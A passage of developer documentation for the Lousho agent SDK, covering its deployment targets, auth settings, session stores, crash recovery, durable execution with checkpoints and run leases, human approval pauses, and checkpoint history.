Programmatically, `adapter.scaffold(agentPath, outDir, { auth: { token } })`
bakes a token into the built `node-server` or `docker` server for when the
variable is not set. The variable wins, and a baked token is readable in
`dist/server.js`, so prefer the variable. The Worker reads the token from its
`LOUSHO_API_TOKEN` binding only; without one it refuses every `/chat` route
unless the `LOUSHO_ALLOW_OPEN_SESSIONS` var is `"true"`
([Cloudflare Workers](/cloudflare-workers)).

Behind a proxy, or for a front end on another origin, the generated
`node-server` and Worker read the routes' request checks from
`LOUSHO_ALLOWED_ORIGINS` and `LOUSHO_ALLOWED_HOSTS` (comma-separated) and
`LOUSHO_REQUIRE_JSON_BODY=false`: see
[Cross-site requests](/auth#cross-site-requests).

For JWT, OpenID Connect or Basic auth, and to know who is calling, the
`node-server` and `docker` targets take an ordered auth list from an agent
directory's `auth.ts`, with `LOUSHO_API_TOKEN` appended to it: see
[Route auth and principals](/auth).

### Sessions and the store

`LOUSHO_STORE` chooses where sessions, checkpoints and approvals live:

| Value | Store |
| - | - |
| `memory` (default) | `memoryStore()`: gone when the process restarts, and not shared between instances. |
| `sqlite:<path>` | A [`SqliteStore`](/sessions) file (created with its directory): sessions survive restarts. Needs Node 22 (`node:sqlite`); the `docker` image uses `node:22-slim`. Mount the file's directory as a volume (the `docker` image owns `/app/data` for this). |

Several instances on one host may share one `sqlite:` file on a local disk (for
example two replicas on one Docker volume); a busy session answers `409` with
`Retry-After`. A network filesystem (NFS, EFS, SMB) or several hosts are not
supported: use a store you implement. See
[Sharing a SQLite file](/sessions#sharing-a-sqlite-file).

### Crash recovery

When the `node-server` or `docker` server starts listening, it finishes the
runs that a crash or a kill left unfinished in the store. It calls
[`agent.recover()`](/durable-execution), which resumes every
`in-progress` run and session turn from its last checkpoint. Steps that
completed are not run again. A tool call that was in flight when the process
died runs again, so make such tools idempotent. The server logs
`lousho server: resuming N interrupted run(s)` when it finds any, and one
`recovered interrupted run '<id>'` line per run it finishes. It then checks
the store again every 30 seconds until it shuts down.

* Runs paused on an approval or a question are left alone. Decide them
  through `POST /chat/:sessionId/approvals/:id`.
* A run whose [run lease](/durable-execution#run-leases) another live
  process holds is skipped and retried on a later check. So is a run whose
  crashed process's lease has not expired yet.
* With the default `memory` store there is nothing to recover after a
  restart, and the check finds nothing.
* A resend of the same turn that arrives while the server is still resuming
  it runs after the resumed turn, as a new turn. Send an `Idempotency-Key`
  ([Resending a turn](#resending-a-turn)) to get the resumed turn's reply
  instead.

Set `LOUSHO_RECOVER_ON_START=0` to turn this off, for example when another
process already runs `agent.recover()` for the same store.

## `node-server`

`dist/server.js` is a single self-contained bundle (the SDK and its
dependencies are included), so it runs without `npm install`:

```bash theme={null}
cd .lousho/build/node-server
node dist/server.js                   # http://127.0.0.1:3000
LOUSHO_API_TOKEN=... node dist/server.js --port=8080 --host=0.0.0.0
```

Like `lousho dev`, it binds to `127.0.0.1` unless you opt in to another
interface with `--host=<h>` (or `HOST=<h>`); the port comes from `--port`,
`PORT`, or defaults to `3000`. On any interface but loopback it needs auth
(`LOUSHO_API_TOKEN` or an `auth.ts`) or `LOUSHO_ALLOW_PUBLIC=1`, or it refuses
to start ([Auth](#auth)).

On SIGINT or SIGTERM (a `docker stop`, a rolling deploy) the server drains
before it exits:

1. It stops accepting connections.
2. It stops the schedules, so nothing fires again.
3. It waits for the requests and turns already running, including schedule
   fires and turns whose client disconnected. The wait is capped at 10 seconds,
   or `LOUSHO_SHUTDOWN_TIMEOUT_MS`.
4. It closes the connections still open and calls `agent.close()`.

Keep the platform's grace period (Docker's `--stop-timeout`, Kubernetes'
`terminationGracePeriodSeconds`) longer than that wait. The drain is part of
the generated server; `createDeployedServer()` is an internal helper of that
bundle and is not exported. When you serve the agent yourself (for example
`createRouteHandler()` behind your own `node:http` server), do the same in your
signal handler: stop accepting, let the requests in flight finish, then call
`agent.close()`.

```ts theme={null}
import { createServer } from 'node:http';
import { createAgent, mountChannels } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });
const handler = mountChannels(agent, []);
const server = createServer((req, res) => void handler(req, res).then((handled) => handled || res.writeHead(404).end()));
server.listen(3000);

process.once('SIGTERM', () => {
  server.close(() => void agent.close()); // close() waits for open connections
  setTimeout(() => server.closeAllConnections(), 10_000).unref(); // then cut the stragglers
});
```

Provider credentials are read from the same
environment variables as everywhere else (`OPENAI_API_KEY`, ...).

Set `OTEL_EXPORTER_OTLP_ENDPOINT` (or `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT`) to
export the agent's OpenTelemetry traces over OTLP/HTTP, with `OTEL_SERVICE_NAME`
as the service name (the agent's name by default). It needs
`@opentelemetry/sdk-trace-node`, `@opentelemetry/resources` and
`@opentelemetry/exporter-trace-otlp-http` installed next to `dist/server.js`
(for the docker image, in the generated `package.json`): see
[Tracing: the built server](/observability#the-built-server).

## `docker`

Reuses the `node-server` scaffold and bundle and adds a `Dockerfile` based
on `node:22-slim` that copies `dist/` and runs `node dist/server.js` on port
3000 as the image's unprivileged `node` user. The image sets `HOST=0.0.0.0` -
inside a container the server has to listen on all interfaces for
`docker run -p` to reach it, so the container refuses to start without auth:
pass `LOUSHO_API_TOKEN` (or ship an `auth.ts`), or `LOUSHO_ALLOW_PUBLIC=1` for an
open agent on purpose ([Auth](#auth)). For a reproducible image, run
`npm install --package-lock-only` in the output directory once and keep the
`package-lock.json`: the Dockerfile then installs with `npm ci`. Pass the token
and provider credentials at run time:

```bash theme={null}
cd .lousho/build/docker
docker build -t lousho-agent .
docker run -p 3000:3000 -e LOUSHO_API_TOKEN=... -e OPENAI_API_KEY=... lousho-agent
```

The image creates `/app/data`, owned by `node`, and declares it a `VOLUME`. Docker
copies that ownership into a fresh named volume, so the unprivileged server can write
there without a manual `chown`. Keep sessions across restarts by mounting a volume and
pointing the store at it:

```bash theme={null}
docker run -p 3000:3000 -e LOUSHO_API_TOKEN=... -e OPENAI_API_KEY=... -v lousho-data:/app/data -e LOUSHO_STORE=sqlite:/app/data/lousho.db lousho-agent
```

A bind mount (`-v ./data:/app/data`) keeps the host directory's own ownership, so
`chown` it to uid 1000 first.

## `cloudflare-worker`

Generates a module Worker (`export default { fetch }`), a `wrangler.toml` and `dist/worker.js`, bundled as a
browser-platform ES module; the build fails if any `node:` import ends up in the bundle. It needs `tsup` and
`wrangler`, and it serves the [HTTP API](#http-api) above. It has the tightest limits of the three targets:

* spec files, and agent directories with a config, instructions, TypeScript tools and skills (no sub-agents,
  schedules, channels or memory slots from a directory, no sandboxed tools);
* providers `mock`, `openai`, `anthropic` and `openrouter`; built-in tools `current-date`, `day-name` and `http`
  (`http` reaches only the host names listed in the `LOUSHO_HTTP_ALLOW` binding);
* sessions, checkpoints and approvals in one KV namespace; cron triggers in UTC.

[Cloudflare Workers](/cloudflare-workers) has the table of limits, the build and deploy commands, the bindings, the KV stores, scheduled runs and the bundle checks.

### Optional peers in node and docker builds

`dist/server.js` bundles the SDK but leaves its optional peers (the `peerDependenciesMeta`
entries of its package.json: provider packages, `dockerode`, the MCP SDK, `prompts`, ...) external, so a build
never needs one you do not use. The generated `package.json` already lists the
ones the agent needs where the server runs - the provider package the spec names (at the
range pairing with the build's `ai` major, e.g. `@ai-sdk/openai` for an OpenAI
agent) and `@modelcontextprotocol/sdk` when the spec has `mcpServers` - and
nothing else: `@lousho/build-ai-agent`, `ai` and `zod` are inside the bundle, so the
docker image's `npm install --omit=dev` or a `npm install` next to the
node-server output installs them. Anything else (an agent directory's own
imports, `dockerode` for sandboxed tools) you add yourself; a code path that
needs one that is missing raises the SDK's coded missing-peer error. A spec's cron triggers run on the node-server and docker targets as well as on Workers
([Schedules](/schedules#on-the-node-server)).

## Custom targets

Targets are `DeploymentAdapter` objects (`scaffold`, `build`, `describe`)
registered by name with `registerAdapter()`; both are exported from the
package root.


# Durable execution
Source: https://lousho.com/durable-execution



Give `createAgent()` a `store` and pass a `sessionId` to `send()`, and the
run survives a crash, a restart, an abort or a human approval that takes
days. Nothing here depends on a particular host: any `CheckpointStore`
(`memoryStore()`, `SqliteStore`, the Cloudflare KV store the
`cloudflare-worker` build wires up, or your own three-method implementation)
and any `ApprovalStore` work the same way.

See also: [Pause, restart, resume](/pause-and-resume), a short end-to-end tutorial.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';

const agent = createAgent({ provider, store: new SqliteStore('./.lousho/jobs.db') });

// First message of a conversation.
await agent.send('Book a table for 2 tonight', { sessionId: 'chat-42' });

// Later - same process or another one - the next message of the same conversation.
await agent.send('Make it 3 people', { sessionId: 'chat-42' });

// After a crash: finish the interrupted run, if there is one (`null` when nothing is pending).
const finished = await agent.resume('chat-42');
```

The `store` option does the wiring: `store.checkpoints` holds the run's
checkpoints and `store.approvals` holds approval pauses, and
`agent.approvals.resolve()` keeps checkpointing the run under its
`sessionId`. `stream()` takes a `sessionId` too. Sessions are checkpointed
too: `agent.session({ id })` checkpoints every turn and `agent.resume(id)` (or
`session.resume()`) finishes an interrupted one - see
[Durable sessions](/sessions#durable-sessions).

Underneath, `createAgent()` runs `AgentExecutor.execute()` with a
`sessionId` and a `checkpointStore`; the behavior described below is the
executor's, and the [advanced section](#advanced-the-executor-api) shows the
executor calls.

## What is checkpointed, and when

A checkpoint is the run's whole transcript plus its step count, usage,
`businessState` and a `status`. `send()` (and `stream()`) write it under the
`sessionId`:

| Moment | `status` |
| - | - |
| Right after each model response that asks for tools, before any tool runs | `'in-progress'` |
| Each time a tool result is recorded (results are recorded in call order) | `'in-progress'` |
| When the run is aborted (`signal`) | `'in-progress'` |
| When the run pauses for an approval (its own tool call's, or a [sub-agent](/sub-agents)'s, also when a resumed sub-agent pauses again) | `'awaiting-approval'` (with `approvalId`) |
| When the run finishes (the model stopped calling tools, or `maxSteps` ran out) | `'finished'` |

A run that rejects (a provider error, a throwing hook, a
`PropagatingToolError`, a process crash) keeps its last `'in-progress'`
checkpoint. When it rejects (rather than crashes), the checkpoint also gets the
error as `lastError` and the count of failed attempts as `attempts`, so
[`agent.pending()`](#recovering-after-a-crash) can tell a run that
keeps failing from one a crash interrupted. The next checkpoint the run saves
(it made progress) drops both.

While a [sub-agent](/sub-agents) runs, what it has spent so far is saved on
the lead's checkpoint after each of its model calls and tool results
(`delegatedInFlight`). A sub-agent is not checkpointed itself: when the lead
crashes mid-sub-agent and is resumed, the `task` call runs again and the
sub-agent starts over, but the model calls of the interrupted attempt stay in
the resumed run's `usage` (as one more delegated run).

## What happens when you send again with the same `sessionId`

Calling `send()` again with the same `sessionId` (or `execute()`, on the
executor) depends on the stored `status`:

* **Unfinished run** (`'in-progress'`: it crashed, was aborted, or a store
  write failed). The run resumes (`agent.resume(sessionId)` does the same
  without new input). If its last model turn has tool calls
  without a result, exactly those calls run first, through the normal tool
  path (argument validation, hooks, `needsApproval`, `toolConcurrency`),
  **without calling the model again**. Then the loop continues, with the
  remaining `maxSteps` budget; `usage` continues from the checkpointed
  totals (the same holds after `agent.approvals.resolve()`, from the snapshot).
  * New `input` is appended as a user message after those tool results.
    It is never placed between a tool-call turn and its results, so the
    transcript stays valid for every provider. This is what lets a user
    interrupt a run (abort it) and redirect it with a new message.
  * `input` that re-sends the message the run started from (the natural
    "retry the same request after a crash") is treated as a retry and is
    not appended again. `input: []` also just resumes.
* **Finished run** (`'finished'`). The session continues as a conversation:
  the stored messages are kept and `input` becomes the next user turn. Pass
  only the new message(s); if you re-send the stored history followed by
  new messages, the history is recognised and not duplicated. `steps`,
  `usage` and `toolCalls` on the result count from zero for the new run;
  `messages` is the whole conversation.
* **Paused awaiting approval** (`'awaiting-approval'`). `send()` throws
  `SessionAwaitingApprovalError` (with `sessionId` and `approvalId`) and
  does not call the model or any tool: new input must not bypass a pending
  decision. Resolve it with `agent.approvals.resolve()` first, then send the
  new message.

System messages in `input` are ignored when it is added to a stored
session (the session already has its system prompt). To end a session and
start over under the same id, call `store.checkpoints.delete(sessionId)`.

```ts theme={null}
import { createAgent, memoryStore, SessionAwaitingApprovalError } from '@lousho/build-ai-agent';

const agent = createAgent({ provider, store: memoryStore() });

try {
  await agent.send('Are you done?', { sessionId: 'chat-42' });
} catch (error) {
  if (error instanceof SessionAwaitingApprovalError) {
    console.log(`Waiting on approval ${error.approvalId} - resolve it with agent.approvals.resolve() first.`);
  }
}
```

## Approvals in the middle of a tool batch

When one model turn asks for several tools and some of them need approval,
the calls that need none run and are recorded, and the run pauses once on
every call that needs approval (`approvalIds`, one approval record each; see
[Several calls in one step](/approvals#several-calls-in-one-step)).
Calls a steer kept from starting, and the turn's handoff calls, are recorded
in the approval snapshot (`remainingToolCalls`). Once the last paused call is
decided, `agent.approvals.resolve()` (the `resumeAfterApproval()` export
underneath):

1. records each paused call's result, in call order - the tool's result if
   approved, or a structured `{ error, note }` rejection result if rejected;
2. runs the remaining calls through the same batch logic: they can run,
   fail validation, or pause the run again on another approval (a new
   `approvalId`; resolve it the same way, as many times as needed);
3. calls the model once every call of the turn has exactly one result.

```ts theme={null}
import { createAgent, memoryStore } from '@lousho/build-ai-agent';

const agent = createAgent({ provider, store: memoryStore() });

const paused = await agent.send('Email the whole team', { sessionId: 'chat-42' });

if (paused.finishReason === 'awaiting-approval') {
  // ...a human decides, possibly days later, in another process (same store)...
  const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });
  console.log(result.finishReason); // 'stop', or 'awaiting-approval' again for the next gated call
}
```

The resumed run uses the same `approvalStore` for any later approval unless
you pass a different one in the options.

## Recovering after a crash

A run that was interrupted (the process crashed or was killed mid-turn) or
that is paused on an approval stays in `store.checkpoints` until someone
finishes it. `agent.pending()` lists those runs across every session and
`send(msg, { sessionId })` id, so a restarted process can find them:

```ts theme={null}
import { createAgent, fileStore } from '@lousho/build-ai-agent';

const agent = createAgent({ provider, store: fileStore('./.lousho') });

// At startup, before taking traffic:
for (const run of await agent.pending()) {
  if (run.status === 'in-progress') {
    // Finishes the turn without re-running recorded steps (tools that were mid-call run again: make them idempotent).
    await agent.resume(run.sessionId);
  } else {
    // 'awaiting-approval': hand run.approvalId to a human, or decide it here.
    console.log(`session ${run.sessionId} waits on approval ${run.approvalId}`);
  }
}
```

`agent.resume()` resolves with the finished `ExecutionResult` (or `null` when
nothing was pending); it does not return a stream. To watch a resumed run's
events, stream it instead: `agent.stream([], { sessionId })` resumes an
unfinished `kind: 'run'` checkpoint without new input (see
[above](#what-happens-when-you-send-again-with-the-same-sessionid)) and
returns the usual `AgentRun`. A paused run streams with
`agent.approvals.streamResolve()`.

`pending()` reads the shared checkpoint store, so it also lists runs that
are still running right now in another process or replica (as
`'in-progress'`, without `lastError`) - not only crashed ones. See below for
why resuming one of those is safe.

Each entry is `{ sessionId, kind, checkpointId, status, approvalId?,
approvalKind?, step, lastError?, attempts? }`:

* `sessionId` is what `agent.resume()` takes: the `agent.session()` id for a
  session turn (`kind: 'session'`, checkpointed as `<id>.turn-<n>`), or the
  `send(msg, { sessionId })` id (`kind: 'run'`, also forks).
* `status` is `'in-progress'` (interrupted) or `'awaiting-approval'` (decide
  `approvalId` with `agent.approvals.resolve()`; `agent.approvals.list()`
  shows the call).
* `lastError` is set when the last attempt at a session turn, or at a
  `send(msg, { sessionId })` run (`kind: 'run'`), failed; `attempts` counts
  the attempts that failed in a row. With `retryable: false` (a 400 from the
  provider, for example) it will fail again: fix the cause before
  `agent.resume()`, or drop it with `agent.session({ id }).discardPending()`
  (a run: `store.checkpoints.delete(id)`). An `'in-progress'` entry without
  `lastError` was interrupted (a crash), or is still running.

A run that is still running in some process is listed as `'in-progress'`
too. Resuming it is safe: the run holds a lease (see [Run leases](#run-leases)),
so `agent.resume()` fails with `LOUSHO_SESSION_BUSY` before anything runs
instead of running its tool calls a second time.

A checkpoint that cannot be read (a write cut short by a power loss on a store
without durable writes) is listed as `'in-progress'` with `lastError.code`
`LOUSHO_CHECKPOINT_CORRUPT` (`retryable: false`), the error `send()` and
`resume()` fail with; drop it with `discardPending()` (or `clear()`), or
`store.checkpoints.delete(id)` for a run.

### Recovering automatically

`agent.recover()` runs that recipe for you, in the background: every
`intervalMs` (default 30 seconds) it lists `agent.pending()` and calls
`agent.resume()` on each `'in-progress'` run. Start it once per process, next
to the code that serves traffic:

```ts theme={null}
import { createAgent, defineTool, memoryStore, PropagatingToolError } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

let charges = 0;
let attempts = 0;
const tools = [
  defineTool({ name: 'charge', description: 'Charge the card', input: z.object({}), execute: async () => `charged ${++charges}` }),
  // Stands in for the process dying mid-step: it fails the first time only.
  defineTool({
    name: 'ship',
    description: 'Ship the order',
    input: z.object({}),
    execute: async () => {
      if (++attempts === 1) throw new PropagatingToolError('process died');
      return 'shipped';
    },
  }),
];
const agent = createAgent({
  provider: mockModel([{ toolCalls: [{ name: 'charge' }] }, { toolCalls: [{ name: 'ship' }] }, 'Order charged and shipped.']),
  tools,
  store: memoryStore(),
});
await agent.send('Charge and ship order 7', { sessionId: 'order-7' }).catch(() => undefined); // interrupted after the charge

const recovery = agent.recover({
  intervalMs: 1_000,
  onRecovered: (run, result) => {
    console.log(`${run.sessionId}: ${result.text}`); // order-7: Order charged and shipped.
    void recovery.stop(); // a server keeps it running and stops it on shutdown (or passes `signal`)
  },
  onError: (error, run) => console.error('recovery failed', run?.sessionId, error),
});
await recovery.done; // resolves once the loop stopped
console.log(charges); // 1: the completed charge step did not run again
```

What a sweep does with each pending run:

* `'in-progress'`: resumed, from its last checkpoint, so completed steps never
  run again (a tool that was mid-call runs again: make it idempotent).
* `'awaiting-approval'` (a tool approval or an `ask_question`): left alone; a
  human decides it with `agent.approvals.resolve()`.
* A run whose `lastError` has `retryable: false`: left alone, since it would
  fail the same way; `agent.pending()` still lists it.
* A run still running in another process, or one whose crashed process's
  [run lease](#run-leases) has not expired yet: its resume is turned away
  with `LOUSHO_SESSION_BUSY` before anything runs, silently, and a later sweep
  tries again once the lease is free. So a crashed run is finished at most
  one lease expiry plus one `intervalMs` after the crash, and every replica
  can run `recover()`: the leases make sure only one of them resumes a run.
  The loop also never starts a second resume of a run it is already resuming.

`onError(error, run?)` hears about a sweep that could not list the store
(`run` undefined) and a resume that failed (`run` set); the loop keeps going
either way. `onRecovered(run, result)` gets each run it finished. Aborting
`signal` (or `stop()`) stops the polling and aborts the resumes in flight
(their checkpoints stay for the next start); `done` resolves once everything
settled. The loop keeps the process alive until it is stopped. Like
`pending()`, `recover()` throws `LOUSHO_CONFIG_MISSING_CHECKPOINT_STORE`
without a checkpoint store. With a custom store that has no leases
(`acquireLease`), nothing stops it from resuming a run another process is
still running: run it in one process only.

## Run leases

While a checkpointed run executes (a session turn, a `send(msg, { sessionId })`
run, an approval resume), it holds a lease on its checkpoint id in the
checkpoint store: an owner id and an expiry 30 seconds out, renewed every 10
seconds. A second process, replica or store object that tries to run or resume
the same id meanwhile - a `send()` that would resume the pending turn first,
`agent.resume()`, `agent.approvals.resolve()` - fails with `LOUSHO_SESSION_BUSY`
before any tool runs or any model is called (a resolved approval stays
pending). Two replicas behind a load balancer therefore never run one turn's
tool calls twice.

This holds for replicas on one host sharing one SQLite file on a local disk, or
for a store you implement over a shared database; SQLite on a network
filesystem or across hosts is not supported. See
[Sharing a SQLite file](/sessions#sharing-a-sqlite-file).

A lease whose holder died is taken over once it expires. Expiry is judged by
the clock of the process that wants the lease against the expiry the holder
wrote with its own clock, so the file and SQLite stores wait one more lease
period (30 seconds) past it: a run left by a crashed process on another
machine is taken over 30 to 60 seconds after its last heartbeat, and replicas
whose clocks disagree by less than about 50 seconds never take over each
other's live runs. Keep replica clocks in sync (NTP); a larger skew can let
two replicas run one turn.

The file and SQLite stores take a lease over at once, without waiting, only
when its holder is provably gone:

* a run of the same process (the same thread and SDK instance) that no longer
  runs, so the usual "restart and resume" path does not wait;
* on Linux, a process that has exited, on the same host, the same boot and the
  same PID namespace (the lease records the boot id, the PID namespace and the
  process start time, so a reused process id does not count as alive or dead
  by mistake);
* on macOS and Windows, a process id of the same host that no longer exists.

A run of another worker thread of the same process, or of another container
with the same hostname on a shared volume (or a process restarted in a new
container), is never taken over early: it waits for the expiry.

The run's lease owner id is a fencing token. The heartbeat renews the lease
only while the run still holds it (it never takes back a lease another process
took, or one released after another process finished the run), and every
checkpoint the run saves is written only if the run still holds the lease,
atomically with that check in the file, SQLite and in-memory stores. So if a
run stalls for longer than its lease (the process was paused, or the event loop
blocked) and another process takes over, the stalled run stops with
`LOUSHO_SESSION_BUSY` at its next checkpoint instead of overwriting the new
holder's progress, and a session turn's late result is not added to the
transcript. A tool call the stalled run was already making when it lost the
lease is not undone: keep tools idempotent where a stall is possible.

The file, SQLite and in-memory stores take leases atomically. KV has no
compare-and-swap: `KVStore` writes the lease, waits 50 ms and reads it back,
which serializes requests at one location but not across edge locations within
KV's propagation delay; its fenced saves are a read then a write. A custom
`CheckpointStore` takes part by implementing `acquireLease(id, owner, ttlMs)`
(an atomic "take or renew unless another owner holds an unexpired lease",
resolving `true` when taken) and `releaseLease(id, owner)`; without them runs
execute without leases. It can add `renewLease(id, owner, ttlMs)` (renew only
the owner's own lease) and `saveIfLeased(id, checkpoint, owner)` (save only
while the owner holds the lease, atomically); without them a run renews its
lease with `acquireLease` right before each save, which leaves a short window.

During a rolling upgrade from a release without run leases, the old replicas
neither take nor respect leases, so a turn can still run on an old and a new
replica at once until every replica runs the new release. A SQLite database
opened by this release is migrated (the `leases` table) and is then refused by
older releases; roll back by restoring a copy of the file.

Schedules use the same mechanism: `fireSchedule()` (and so `startSchedules()`)
claims each schedule's fire time in the agent's checkpoint store first, so
replicas that fire the same tick run it once.

`agent.pending()` needs a checkpoint store with `list()`: the file, SQLite,
in-memory and KV stores have one (`KVStore` lists only when its namespace
binding has `list`, as a real one does). On a custom `CheckpointStore`,
`list({ status? })` returns `{ sessionId, status, checkpoint }` for the
latest checkpoint of every id; `listCheckpoints(entries, options)` does the
filtering and ordering for you. Without it `agent.pending()` throws
`LOUSHO_CONFIG_INVALID`; without a checkpoint store at all, it throws
`LOUSHO_CONFIG_MISSING_CHECKPOINT_STORE`.

## Guarantees

* **Every tool call gets exactly one result, in call order**, after any
  sequence of crashes, aborts, pauses and resumes. (An aborted call gets a
  "cancelled" result; a rejected call gets a rejection result.)
* **A recorded result is never re-executed.** Each result is checkpointed
  by its `toolCallId` as soon as its call settles - even one that finished
  behind a slower earlier call of the same turn - so a resumed run only
  runs calls that have no recorded result.
* **A checkpointed model turn is never generated again.** If the process
  dies after the model answered, the resumed run executes that answer's tool
  calls instead of asking the model again (no extra cost, no different
  plan).
* **The provider always receives a valid transcript**: tool results
  directly follow their tool-call turn, and new user input comes after them.
* **An approved call runs at most once.** Deciding an approval keeps the
  paused run's checkpoint: it is re-saved as `'in-progress'` with the approved
  call marked as started (`startedToolCallIds`) before the call runs, and
  saved again with its result before the run continues. If the process dies
  while the approved call runs, the turn is not lost: `pending()` lists it,
  and resuming it does not run the call again. The call gets an error result
  (`kind: 'interrupted'`) telling the model it may or may not have taken
  effect, so the model can check or ask instead of silently repeating it - a
  human approved it once, not twice.
* **A stale approval never comes back.** An approval continues its run only
  while that run's checkpoint still waits on it. Once the checkpoint was
  deleted (`checkpoints.delete(id)`, `discardPending()`, a prune) or replaced
  by a newer run under the same id, resolving it fails with
  `LOUSHO_APPROVAL_ORPHANED` and withdraws it, without running the tool or
  touching the newer run. `discardPending()` withdraws the dropped turn's
  approvals at once.

## Run a job once (webhook redelivery)

A webhook or queue delivers at least once, so the same payload can arrive
twice. Sending it again with the same `sessionId` is **not** a no-op: once
the first run is `'finished'`, the second `send()` is a new turn of that
conversation and calls the model again (in a consumer test it re-ran seven
model calls). To run a job once, derive the `sessionId` from the delivery id
and look at the checkpoint before sending:

```ts theme={null}
import { createAgent, memoryStore } from '@lousho/build-ai-agent';

const store = memoryStore();
const agent = createAgent({ provider, store });

export async function handleDelivery(deliveryId: string, payload: string) {
  const sessionId = `job-${deliveryId}`;
  const checkpoint = await store.checkpoints?.load(sessionId);

  if (checkpoint?.status === 'finished') return; // already done: acknowledge the redelivery
  if (checkpoint?.status === 'awaiting-approval') return; // paused: resolve it with agent.approvals.resolve()
  if (checkpoint) {
    await agent.resume(sessionId); // 'in-progress': a crash left it half done; finish it
    return;
  }
  await agent.send(payload, { sessionId });
}
```

The check-then-send is not atomic: two concurrent deliveries can both see no
checkpoint. Serialise deliveries per id (a queue keyed by `deliveryId`, or a
unique-insert in your own database) and keep the run lease on (see
[Run leases](#run-leases)) so a second process fails with
`LOUSHO_SESSION_BUSY` instead of running the job twice. Tools that run again
on resume must still be idempotent, so also pass the call's `toolCallId` as
the idempotency key of every side effect (see the next section).

## At-least-once tools: make side effects idempotent

A tool that was **running** when the process died has no recorded result,
so it runs again on resume. Tool execution is therefore at-least-once, not
exactly-once. For tools with side effects (charging a card, sending an
email), either gate them with `needsApproval` or make them idempotent.
Each call's `toolCallId` (the model's id for the call, unchanged when that
same call is re-run on resume) is passed to `execute`, so it works as an
idempotency key against a re-run of one call:

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

declare const payments: { charge(amount: number, opts: { idempotencyKey: string }): Promise<{ id: string }> };

const chargeCard = defineTool({
  name: 'charge_card',
  description: 'Charge the customer',
  input: z.object({ amount: z.number() }),
  execute: async ({ amount }, { toolCallId }) =>
    payments.charge(amount, { idempotencyKey: toolCallId }), // a re-run cannot charge twice
});
```

(`toolCallId` is set for every tool run, including tools that route through
`sandboxExecute`.)

The built-in file tools are safe to re-run. `write_file` writes the same
content again; an `edit_file` whose edit is already in the file (`old_string`
gone, a non-empty `new_string` present) succeeds and says the edit was already
applied, instead of telling the model that an applied edit failed. With
`WorkspaceCheckpoints`, each change's backup is stored before the file is
written and a re-run keeps the first backup, so `rewind()` restores the
original content after a crash too (see
[Workspace tools](/workspace-tools#the-tools)). The `shell` tool is not:
a command that was running when the process died runs again.

`toolCallId` (and `ctx.approval.id` for an approved call) identifies one call
the model made. It only protects against that call running twice. If the
process dies before the call is recorded, the model may make the call again
as a **new** call with a new id and a new approval, and the id no longer
matches. A side effect that must happen once per business event (one claim,
one invoice) needs an idempotency key from your own data, such as the claim id
in the arguments, checked or passed on to the system you write to:

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

declare const claims: { file(claim: { claimId: string }, opts: { idempotencyKey: string }): Promise<{ id: string }> };

const fileClaim = defineTool({
  name: 'file_claim',
  description: 'File an insurance claim',
  input: z.object({ claimId: z.string() }),
  needsApproval: true,
  execute: async ({ claimId }) => claims.file({ claimId }, { idempotencyKey: `claim:${claimId}` }), // a new call for the same claim cannot file twice
});
```

## Checkpoint history

A checkpoint record is overwritten on every save, so the run's earlier steps are
gone once it moves on. A store can also keep a bounded history per session:
every `save()` appends the record to a ring (the newest `historyLimit` saves,
default 50; the oldest are dropped), which is what replaying or forking a run
from an earlier step is built on.

Which stores keep one:

| Store | History | Option |
| - | - | - |
| `memoryStore()` | yes | `memoryStore({ historyLimit })` |
| `SqliteStore` | yes (`checkpoint_history` table) | `new SqliteStore(path, { historyLimit })` |
| `LocalStorageCheckpointStore` | yes | `new LocalStorageCheckpointStore(storage, { historyLimit })` |
| `fileStore(dir)` (JSON files) | yes (`checkpoint-history/<id>.json`) | `fileStore(dir, { historyLimit })` |
| `KVCheckpointStore` / `KVStore` (Cloudflare Workers KV, from `@lousho/build-ai-agent/kv`) | yes (see below) | `new KVStore(kv, { historyLimit })` |
| Agent Forge's `FileCheckpointStore` | yes | `new FileCheckpointStore(dir, { historyLimit })` |
| a custom `CheckpointStore` | only if it implements `history()` | - |

For example, with the in-memory store:

```ts theme={null}
import { getCheckpointHistory, memoryStore } from '@lousho/build-ai-agent';

const { checkpoints } = memoryStore({ historyLimit: 20 }); // default 50, 0 keeps none
// new SqliteStore(path, { historyLimit }), new LocalStorageCheckpointStore(storage, { historyLimit })

// ... after a run with sessionId 'chat-42' ...
const history = await getCheckpointHistory(checkpoints, 'chat-42', { limit: 10 });
for (const { step, savedAt, status, checkpoint } of history ?? []) {
  console.log(step, status, savedAt, checkpoint.messages.length);
}

// Clear the checkpoint but keep its history (by default delete() clears both).
await checkpoints.delete('chat-42', { keepHistory: true });
```

* `history(sessionId, { limit? })` returns `{ step, savedAt, status, checkpoint }`
  entries, newest first (`step` is `checkpoint.stepIndex`, `savedAt` an ISO
  timestamp, `status` is `'in-progress'` for a checkpoint without one). The
  executor saves after every model turn and tool batch, so a session has one
  entry per save; the entries hold full checkpoints, so lower `historyLimit`
  for long transcripts. An unknown session gives `[]`.
* `history` is optional on `CheckpointStore`: a custom store without it keeps
  working, and `getCheckpointHistory()` returns `undefined` for it instead of
  throwing.
* `KVCheckpointStore` keeps one index key per session
  (`<prefix><sessionId>#history`, the entry ids oldest first) and one key per
  entry (`<prefix><sessionId>#history/<id>`), so no value grows with the
  history; the latest checkpoint stays at `<prefix><sessionId>`, so a store
  written before history existed still loads. A save writes the checkpoint,
  then the entry, then the index, then deletes the entries it dropped: a crash
  between writes leaves an unlisted entry at worst (it expires with the TTL),
  never an unreadable store. KV has no transactions, so two concurrent saves of
  one session can lose one index update (that entry is missing from
  `history()`), and an entry can be missing for a while at another edge
  location (eventual consistency; `history()` skips it). Route a session's
  requests to one location when that matters. Each save costs one `get` and two
  `put`s more; `historyLimit: 0` turns it off.
* Agent Forge's file store writes the history as one file per session
  (`.lousho/agents/<id>/checkpoint-history/<session>.json`, replaced
  atomically); a file damaged by a crash reads as no history and is rebuilt by
  the next save.
* `SqliteStore` keeps the history in a new `checkpoint_history` table, added when
  an existing database file is opened; `prune()` also removes history entries
